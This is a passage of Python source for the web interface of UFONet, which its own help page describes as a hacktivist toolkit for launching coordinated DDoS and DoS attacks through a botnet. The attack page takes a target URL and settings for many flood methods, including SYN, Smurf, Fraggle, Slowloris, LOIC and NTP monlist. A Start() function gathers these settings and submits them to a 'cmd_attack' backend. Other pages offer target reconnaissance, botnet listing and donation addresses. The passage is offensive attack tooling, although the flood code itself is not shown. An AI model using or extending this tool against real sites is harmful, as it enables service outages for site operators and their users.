  3219. document.getElementById("droper").value = "";
  3220. document.getElementById("overlap").value = "";
  3221. document.getElementById("pinger").value = "";
  3222. document.getElementById("ufoudp").value = "";
  3223. document.getElementById("dbstress").value = "";
  3224. } else {
  3225. document.getElementById("extra_panel").style.display = "none";
  3226. document.getElementById("loic").value = "";
  3227. document.getElementById("loris").value = "";
  3228. document.getElementById("ufosyn").value = "";
  3229. document.getElementById("spray").value = "";
  3230. document.getElementById("smurf").value = "";
  3231. document.getElementById("xmas").value = "";
  3232. document.getElementById("nuke").value = "";
  3233. document.getElementById("tachyon").value = "";
  3234. document.getElementById("monlist").value = "";
  3235. document.getElementById("fraggle").value = "";
  3236. document.getElementById("sniper").value = "";
  3237. document.getElementById("ufoack").value = "";
  3238. document.getElementById("uforst").value = "";
  3239. document.getElementById("droper").value = "";
  3240. document.getElementById("overlap").value = "";
  3241. document.getElementById("pinger").value = "";
  3242. document.getElementById("ufoudp").value = "";
  3243. document.getElementById("dbstress").value = "";
  3244. }
  3245. }
  3246. function Maps() {
  3247. var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
  3248. win_map.resizeTo(screen.width,screen.height);
  3249. }
  3250. function Start(){
  3251. document.getElementById("attack_button").text = "STOP!"
  3252. document.getElementById("attack_button").style = "color:red; height:40px; width:240px; font-weight:bold; background-color:yellow; border: 2px solid red;"
  3253. target=document.getElementById("target").value
  3254. String.prototype.startsWith = function(prefix){
  3255. return this.indexOf(prefix) === 0;
  3256. }
  3257. if(target.startsWith("http")){
  3258. path=document.getElementById("path").value
  3259. rounds=document.getElementById("rounds").value
  3260. dbstress=document.getElementById("dbstress").value
  3261. loic=document.getElementById("loic").value
  3262. loris=document.getElementById("loris").value
  3263. ufosyn=document.getElementById("ufosyn").value
  3264. spray=document.getElementById("spray").value
  3265. smurf=document.getElementById("smurf").value
  3266. xmas=document.getElementById("xmas").value
  3267. nuke=document.getElementById("nuke").value
  3268. tachyon=document.getElementById("tachyon").value
  3269. monlist=document.getElementById("monlist").value
  3270. fraggle=document.getElementById("fraggle").value
  3271. sniper=document.getElementById("sniper").value
  3272. ufoack=document.getElementById("ufoack").value
  3273. uforst=document.getElementById("uforst").value
  3274. droper=document.getElementById("droper").value
  3275. overlap=document.getElementById("overlap").value
  3276. pinger=document.getElementById("pinger").value
  3277. ufoudp=document.getElementById("ufoudp").value
  3278. if(ufosyn || spray || smurf || xmas || nuke || tachyon || monlist || fraggle || sniper || ufoack || uforst || droper || overlap || pinger || ufoudp){ // root required!
  3279. window.alert("You need 'root' access!. Check shell and enter your password.");
  3280. }
  3281. params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)+"&tachyon="+escape(tachyon)+"&monlist="+escape(monlist)+"&fraggle="+escape(fraggle)+"&sniper="+escape(sniper)+"&ufoack="+escape(ufoack)+"&uforst="+escape(uforst)+"&droper="+escape(droper)+"&overlap="+escape(overlap)+"&pinger="+escape(pinger)+"&ufoudp="+escape(ufoudp)
  3282. if (document.getElementById("visual_attack").checked){
  3283. document.getElementById("visual_attack").value = "on";
  3284. } else {
  3285. document.getElementById("visual_attack").value = "off";
  3286. }
  3287. if(document.getElementById("visual_attack").value=="on"){
  3288. Maps()
  3289. }
  3290. }else{
  3291. window.alert("You need to enter a valid url: http(s)://target.com");
  3292. return
  3293. }
  3294. runCommandX("cmd_attack",params)
  3295. }
  3296. </script>
  3297. </head>
  3298. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3299. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3300. <center>
  3301. <table cellpadding="38" cellspacing="38">
  3302. <tr>
  3303. <td>
  3304. <div class="ringMenu">
  3305. <ul>
  3306. <li class="main"><a href="attack">Attack</a></li>
  3307. <li class="top"><a href="globalnet">Globalnet</a></li>
  3308. <li class="right"><a href="botnet">Botnet</a></li>
  3309. <li class="bottom"><a href="explore">Explore</a></li>
  3310. <li class="left"><a href="gui">RETURN</a></li>
  3311. </ul>
  3312. </div>
  3313. </td>
  3314. <td>
  3315. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  3316. <tr><td>
  3317. <pre>
  3318. Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  3319. Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
  3320. Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
  3321. <hr>
  3322. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
  3323. <hr><div id="extra_panel" style="display:none;">
  3324. <table bgcolor="black" cellpadding="4" cellspacing="5" border="1"><tr>
  3325. <td align="left"><a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a>:</td><td align="right"> <input type="text" name="loic" id="loic" size="4" placeholder="100"></td>
  3326. <td align="left"><a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a>:</td><td align="right"> <input type="text" name="loris" id="loris" size="4" placeholder="101"></td>
  3327. <td align="left"><a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a>:</td><td align="right"> <input type="text" name="ufosyn" id="ufosyn" size="4" placeholder="100"></td>
  3328. <td align="left"><a href="https://en.wikipedia.org/wiki/Fraggle_attack" target="_blank">FRAGGLE</a>:</td><td align="right"> <input type="text" name="fraggle" id="fraggle" size="4" placeholder="101"></td>
  3329. </tr><tr>
  3330. <td align="left"><a href="https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood" target="_blank">UFORST</a>:</td><td align="right"> <input type="text" name="uforst" id="uforst" size="4" placeholder="101"></td>
  3331. <td align="left"><a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a>:</td><td align="right"> <input type="text" name="spray" id="spray" size="4" placeholder="110"></td>
  3332. <td align="left"><a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a>:</td><td align="right"> <input type="text" name="smurf" id="smurf" size="4" placeholder="100"></td>
  3333. <td align="left"><a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a>:</td><td align="right"> <input type="text" name="xmas" id="xmas" size="4" placeholder="111"></td>
  3334. </tr><tr>
  3335. <td align="left"><a href="https://en.wikipedia.org/wiki/IP_fragmentation_attack" target="_blank">DROPER</a>:</td><td align="right"> <input type="text" name="droper" id="droper" size="4" placeholder="101"></td>
  3336. <td align="left"><a href="https://www.imperva.com/learn/application-security/snmp-reflection/" target="_blank">SNIPER</a>:</td><td align="right"> <input type="text" name="sniper" id="sniper" size="4" placeholder="100"></td>
  3337. <td align="left"><a href="https://www.us-cert.gov/ncas/alerts/TA13-088A" target="_blank">TACHYON</a>:</td><td align="right"> <input type="text" name="tachyon" id="tachyon" size="4" placeholder="100"></td>
  3338. <td align="left"><a href="https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/" target="_blank">PINGER</a>:</td><td align="right"> <input type="text" name="pinger" id="pinger" size="4" placeholder="101"></td>
  3339. </tr><tr>
  3340. <td align="left"><a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" target="_blank">MONLIST</a>:</td><td align="right"> <input type="text" name="monlist" id="monlist" size="4" placeholder="101"></td>
  3341. <td align="left"><a href="https://www.f5.com/services/resources/glossary/push-and-ack-flood" target="_blank">UFOACK</a>:</td><td align="right"> <input type="text" name="ufoack" id="ufoack" size="4" placeholder="100"></td>
  3342. <td align="left"><a href="https://cyberhoot.com/cybrary/fragment-overlap-attack/" target="_blank">OVERLAP</a>:</td><td align="right"> <input type="text" name="overlap" id="overlap" size="4" placeholder="100"></td>
  3343. <td align="left"><a href="https://en.wikipedia.org/wiki/UDP_flood_attack" target="_blank">UFOUDP</a>:</td><td align="right"> <input type="text" name="ufoudp" id="ufoudp" size="4" placeholder="101"></td>
  3344. </tr><tr>
  3345. <td align="left"><a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a>:</td><td align="right"> <input type="text" name="nuke" id="nuke" size="4" placeholder="1001"></td>
  3346. </tr>
  3347. </table>
  3348. <hr>
  3349. Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
  3350. <hr></div>
  3351. <button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" id="attack_button">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
  3352. </td></tr></table>
  3353. </td></tr></table>
  3354. <hr>
  3355. <div id="cmdOut"></div>
  3356. """ + self.pages["/footer"]
  3357. self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
  3358. function show(one) {
  3359. var nb = document.getElementsByTagName("div");
  3360. for(var x=0; x<nb.length; x++) {
  3361. name = nb[x].getAttribute("class");
  3362. if (name == 'nb') {
  3363. if (nb[x].id == one) {
  3364. nb[x].style.display = 'block';
  3365. }
  3366. else {
  3367. nb[x].style.display = 'none';
  3368. }
  3369. }
  3370. }
  3371. }
  3372. function Games() {
  3373. var win_requests = window.open("games","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=640, height=480, resizable=yes", false);
  3374. }
  3375. function Browser() {
  3376. var win_requests = window.open("browser","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=640, height=480, resizable=yes", false);
  3377. }
  3378. </script>
  3379. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3380. </head>
  3381. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3382. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3383. <center>
  3384. <table cellpadding="38" cellspacing="38">
  3385. <tr>
  3386. <td>
  3387. <table cellpadding="24" cellspacing="25" border="1">
  3388. <tr>
  3389. <td>
  3390. <center>
  3391. <a href="javascript:alert('DAIALAFSÄ & LUÄRKS says: Hi! """ + self.ranking + """, The first steps are easy ... RTFM! ;-)');"><img src='data:image/png;base64,"""+self.aliens_img+"""'></a>
  3392. </center>
  3393. </td>
  3394. <td><pre>
  3395. <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
  3396. <div class="nb" id="nb1" style="display: none;"> <b>UFONet</b> - Is a set of <a href="https://en.wikipedia.org/wiki/Hacktivism" target="_blank">hacktivist</a> tools that allow launching coordinated
  3397. <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks and combine both in a single offensive.
  3398. It also works as an encrypted <a href="https://en.wikipedia.org/wiki/Darknet" target="_blank">DarkNET</a> to publish and receive
  3399. content by creating a global client/server network based on
  3400. a direct-connect <a href="https://en.wikipedia.org/wiki/Peer-to-peer" target="_blank">P2P</a> architecture.</div><div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ F.A.Q.</a></div><div class="nb" id="nb3" style="display: none;">
  3401. - <a href="https://ufonet.03c8.net/FAQ.html" target="_blak">Online version</a> (updated!)
  3402. - <a href="/faq" target="_blank">Local version</a></div>
  3403. <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Issues</a></div><div class="nb" id="nb4" style="display: none;">
  3404. If you have questions (or technical problems)
  3405. try to solve them following next link:
  3406. - <a href="https://github.com/epsylon/ufonet/issues" target="_blank">GitHub</a> issues</div>
  3407. <div><a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ Support</a></div> <div class="nb" id="nb5" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
  3408. - Coding; you can try to develop more features
  3409. - Promoting; talk about UFONet on the internet, events, <a href="https://en.wikipedia.org/wiki/Hacklab" target="_blank">hacklabs</a>, etc
  3410. - Donating; money, objects, privacy, exploits, <a href="https://en.wikipedia.org/wiki/Love" target="_blank">love</a> ;-)
  3411. - <a href="https://explorer.bitcoin.com/btc" target="_blank">Bitcoin [BTC]</a>: <b>19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw</b>
  3412. - <a href="https://ecoin.03c8.net/blockexplorer" target="_blank">Ecoin [ECO]</a>: <b>ETsRCBzaMawx3isvb5svX7tAukLdUFHKze</b></div> <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none" >+ Contact</a></div> <div class="nb" id="nb6" style="display: none;"> - <a target="_blank" href="wormhole">Wormhole</a>: irc.freenode.net / #ufonet
  3413. - Email: <a href="mailto: epsylon@riseup.net">epsylon@riseup.net</a> [GPG:0xB8AC3776]
  3414. </div></td></tr>
  3415. <tr>
  3416. <td># TREEMAP: <a href="/treemap" target="_blank">VIEW</a> | SHIP.BROWSER: <a href="javascript:Browser()">OPEN</a> | SHIP.GAMES: <a href="javascript:Games()">PLAY!</a> #
  3417. </td></tr>
  3418. <tr>
  3419. <td><h2><u>Types of Attacks:</u></h2>
  3420. <table cellpadding="5" cellspacing="5" border="1"><tr>
  3421. <td><a href="https://hydrasky.com/network-security/layer-7-ddos-attack/" target="_blank">LAYER-7</a></td>
  3422. <td><a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a></td>
  3423. <td><a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a></td>
  3424. <td><a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a></td>
  3425. <td><a href="https://en.wikipedia.org/wiki/Fraggle_attack" target="_blank">FRAGGLE</a></td>
  3426. <td><a href="https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood" target="_blank">UFORST</a></td>
  3427. <td><a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a></td>
  3428. <td><a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a></td>
  3429. <td><a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a></td></tr><tr>
  3430. <td><a href="https://en.wikipedia.org/wiki/IP_fragmentation_attack" target="_blank">DROPER</a></td>
  3431. <td><a href="https://www.imperva.com/learn/application-security/snmp-reflection/" target="_blank">SNIPER</a></td>
  3432. <td><a href="https://www.us-cert.gov/ncas/alerts/TA13-088A" target="_blank">TACHYON</a></td>
  3433. <td><a href="https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/" target="_blank">PINGER</a></td>
  3434. <td><a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" target="_blank">MONLIST</a></td>
  3435. <td><a href="https://www.f5.com/services/resources/glossary/push-and-ack-flood" target="_blank">UFOACK</a></td>
  3436. <td><a href="https://cyberhoot.com/cybrary/fragment-overlap-attack/" target="_blank">OVERLAP</a></td>
  3437. <td><a href="https://en.wikipedia.org/wiki/UDP_flood_attack" target="_blank">UFOUDP</a></td>
  3438. <td><a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a></td>
  3439. </tr></table></td><tr>
  3440. <tr>
  3441. <td><h2><u>GUI-Modules:</u></h2>
  3442. <table cellpadding="15" cellspacing="15" border="1"><tr>
  3443. <td><a href="/news" target="_blank"><img src='data:image/png;base64,"""+self.alien1_img+"""'></a></td><td>Read NEWS from other motherships</td><td><a href="/news" target="_blank">SHIP.NEWS</a></td></tr><tr>
  3444. <td><a href="/missions" target="_blank"><img src='data:image/png;base64,"""+self.alien2_img+"""'></a></td><td>Read MISSIONS from other motherships</td><td><a href="/missions" target="_blank">SHIP.MISSIONS</a></td></tr><tr>
  3445. <td><a href="/tv" target="_blank"><img src='data:image/png;base64,"""+self.alien5_img+"""'></a></td><td>Watch TV/VIDEOS from other mothership</td><td><a href="/tv" target="_blank">SHIP.TV</a></td></tr><tr>
  3446. <td><a href="/links" target="_blank"><img src='data:image/png;base64,"""+self.alien10_img+"""'></a></td><td>Check LINKS from other motherships</td><td><a href="/links" target="_blank">GLOBAL.LINKS</a></td></tr><tr>
  3447. <td><a href="/streams" target="_blank"><img src='data:image/png;base64,"""+self.alien9_img+"""'></a></td><td>Watch STREAMS from other motherships</td><td><a href="/streams" target="_blank">GLOBAL.STREAMS</a></td></tr><tr>
  3448. <td><a href="/radar" target="_blank"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td><td>Search for OTHER motherships</td><td><a href="/radar" target="_blank">GLOBAL.RADAR</a></td></tr><tr>
  3449. <td><a href="/blackholes" target="_blank"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>Search for BLACKHOLES from other motherships</td><td><a href="/blackholes" target="_blank">SHIP.WARPS</a></td></tr><tr>
  3450. <td><a href="/inspect" target="_blank"><img src='data:image/png;base64,"""+self.alien7_img+"""'></a></td><td>Research for INFORMATION about a target</td><td><a href="/inspect" target="_blank">SHIP.INSPECT</a><br><br><a href="/abduction" target="_blank">SHIP.ABDUCTION</a></td></tr><tr>
  3451. <td><a href="/board" target="_blank"><img src='data:image/png;base64,"""+self.alien4_img+"""'></a></td><td>Send/Receive MESSAGES from other motherships</td><td><a href="/board" target="_blank">GLOBAL.BOARD</a></td></tr><tr>
  3452. <td><a href="/grid" target="_blank"><img src='data:image/png;base64,"""+self.alien6_img+"""'></a></td><td>Review STATISTICS from other motherships</td><td><a href="/grid" target="_blank">GLOBAL.GRID</a></td></tr><tr>
  3453. <td><a href="/wargames" target="_blank"><img src='data:image/png;base64,"""+self.alien8_img+"""'></a></td><td>Join WARGAMES from other motherships</td><td><a href="/wargames" target="_blank">GLOBAL.WARGAMES</a></td></tr><tr>
  3454. <td><a href="/browser" target="_blank"><img src='data:image/png;base64,"""+self.alien13_img+"""'></a></td><td>Surf INTERNET from your mothership</td><td><a href="/browser" target="_blank">SHIP.BROWSER</a></td></tr><tr>
  3455. <td><a href="/games" target="_blank"><img src='data:image/png;base64,"""+self.alien12_img+"""'></a></td><td>Play GAMES from your mothership</td><td><a href="/games" target="_blank">SHIP.GAMES</a></td>
  3456. </tr></table>
  3457. </td></tr>
  3458. </table>
  3459. </td></tr></table>
  3460. """ + self.pages["/footer"]
  3461. self.pages["/faq"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3462. </head>
  3463. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3464. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3465. <center>
  3466. <table cellpadding="38" cellspacing="38">
  3467. <tr>
  3468. <td>"""+self.faq_text+"""</td></tr>
  3469. </table>
  3470. """ + self.pages["/footer"]
  3471. self.pages["/globalnet"] = self.pages["/header"] + """<script language="javascript">
  3472. function Blackholes() {
  3473. var win_requests = window.open("blackholes","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3474. }
  3475. function Radar() {
  3476. var win_requests = window.open("radar","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3477. }
  3478. </script>
  3479. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3480. </head>
  3481. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3482. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3483. <center>
  3484. <table cellpadding="38" cellspacing="38">
  3485. <tr>
  3486. <td>
  3487. <div class="ringMenu">
  3488. <ul>
  3489. <li class="main"><a href="globalnet">Globalnet</a></li>
  3490. <li class="top"><a href="botnet">Botnet</a></li>
  3491. <li class="right"><a href="explore">Explore</a></li>
  3492. <li class="bottom"><a href="attack">Attack</a></li>
  3493. <li class="left"><a href="gui">RETURN</a></li>
  3494. </ul>
  3495. </div>
  3496. </td>
  3497. <td>
  3498. <table cellpadding="24" cellspacing="25" border="1">
  3499. <tr>
  3500. <td><a href="javascript:alert('Senator M.BIRDY says: Welcome ..., """ + self.ranking + """,... These are other visible motherships detected by our technology that are currently working for the Federation... You can contribute by uploading your location... Remember, to be a strong network always depends on you!');"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td>
  3501. <td>
  3502. <ul>
  3503. <li><a href="javascript:Radar()">GLOBAL.RADAR</a>: Search for <u>other visible motherships</u></li>
  3504. </ul>
  3505. </td>
  3506. </tr>
  3507. <tr>
  3508. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed (P2P) way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td>
  3509. <td>
  3510. <ul>
  3511. <li><a href="javascript:Blackholes()">SHIP.WARPS</a>: Search for <u>blackholes shared by other motherships</u></li>
  3512. </ul>
  3513. </td>
  3514. </tr>
  3515. </table> </td></tr></table>
  3516. """ + self.pages["/footer"]
  3517. self.pages["/explore"] = self.pages["/header"] + """<script language="javascript">
  3518. function Abduction() {
  3519. var win_requests = window.open("abduction","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3520. }
  3521. function Inspect() {
  3522. var win_requests = window.open("inspect","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3523. }
  3524. </script>
  3525. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3526. </head>
  3527. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3528. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3529. <center>
  3530. <table cellpadding="38" cellspacing="38">
  3531. <tr>
  3532. <td>
  3533. <div class="ringMenu">
  3534. <ul>
  3535. <li class="main"><a href="explore"">Explore</a></li>
  3536. <li class="top"><a href="botnet">Botnet</a></li>
  3537. <li class="right"><a href="globalnet">Globalnet</a></li>
  3538. <li class="bottom"><a href="attack">Attack</a></li>
  3539. <li class="left"><a href="gui">RETURN</a></li>
  3540. </ul>
  3541. </div>
  3542. </td>
  3543. <td>
  3544. <table cellpadding="24" cellspacing="25" border="1">
  3545. <tr>
  3546. <td><a href="javascript:alert('Ofgöfeejh says: """ + self.ranking + """... Lets research about our enemies first, right?...');"><img src='data:image/png;base64,"""+self.alien7_img+"""'></a></td>
  3547. <td>
  3548. <ul>
  3549. <li><a href="javascript:Inspect()">SHIP.INSPECT</a>: Search for <u>biggest file on target</u></li><br>
  3550. <li><a href="javascript:Abduction()">SHIP.ABDUCTION</a>: Research for <u>information about target's web server</u></li>
  3551. </ul>
  3552. </td>
  3553. </tr>
  3554. </table> </td></tr></table>
  3555. """ + self.pages["/footer"]
  3556. self.pages["/shop"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3557. </head>
  3558. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3559. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3560. <center>
  3561. <table cellpadding="38" cellspacing="38">
  3562. <tr>
  3563. <td>
  3564. <table cellpadding="24" cellspacing="25" border="1">
  3565. <tr>
  3566. <td><pre>"""+self.shop_text+"""</pre></td>
  3567. </tr>
  3568. </table>
  3569. </td></tr></table>
  3570. """ + self.pages["/footer"]
  3571. self.pages["/favicon"] = "<img src='data:image/x-icon;base64,AAABAAMAEBAAAAEAIABoBAAANgAAACAgAAABACAAKBEAAJ4EAAAwMAAAAQAgAGgmAADGFQAAKAAAABAAAAAgAAAAAQAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYAAAAMAAAAcQAAAK4AAADAAAAAuwAAAIAAAAADAAAAgAAAAN4AAADSAAAApQAAAMEAAAD0AAAAnQAAAA4AAADvAAAA+gAAAPQAAACvAAAAkwAAAKMAAADuAAAAnwAAAPoAAACEAAAAtAAAANAAAACOAAAAZQAAAN4AAACxAAAAKgAAAHgAAABZAAAALgAAAGQAAAB/AAAAnAAAAP4AAADRAAAA4AAAAP8AAAD+AAAA4AAAADUAAABBAAAA9gAAABYAAADjAAAA/wAAAP8AAAD4AAAA7AAAAPYAAAD/AAAA/gAAALkAAAAjAAAAMAAAALYAAAC/AAAAFQAAAGcAAABMAAAA8gAAACUAAAAkAAAADwAAAEQAAAD+AAAA/wAAAP8AAABFAAAAAAAAAAAAAABaAAAA3gAAAAAAAAAAAAAAMQAAAPIAAAABAAAAAAAAAF8AAADyAAAA/wAAAP8AAAD/AAAA+AAAAHQAAAAAAAAAgwAAALcAAAAAAAAAAAAAABwAAAD+AAAAEgAAAFEAAADnAAAA/wAAAP8AAAD/AAAA/wAAAP8AAADoAAAAbAAAAMgAAABwAAAAAAAAAAAAAAB8AAAA4QAAAAsAAAC3AAAA4gAAAPQAAABtAAAAdQAAAGQAAADvAAAA8AAAALYAAAD5AAAASAAAAAAAAAAAAAAAXAAAACoAAABQAAAAhgAAAP4AAABeAAAAZAAAAB8AAABlAAAARwAAAP4AAACFAAAA/wAAAN8AAACzAAAARgAAAAAAAAAAAAAAgQAAAFoAAAD/AAAA2gAAAEAAAAB7AAAALwAAAMIAAAD/AAAAWwAAALQAAAB7AAAAmgAAACwAAAAAAAAAAAAAAIoAAAAsAAAA+wAAAP8AAAD4AAAAyAAAAPAAAAD/AAAA/gAAACsAAACjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABrAAAAPwAAAKkAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAMQA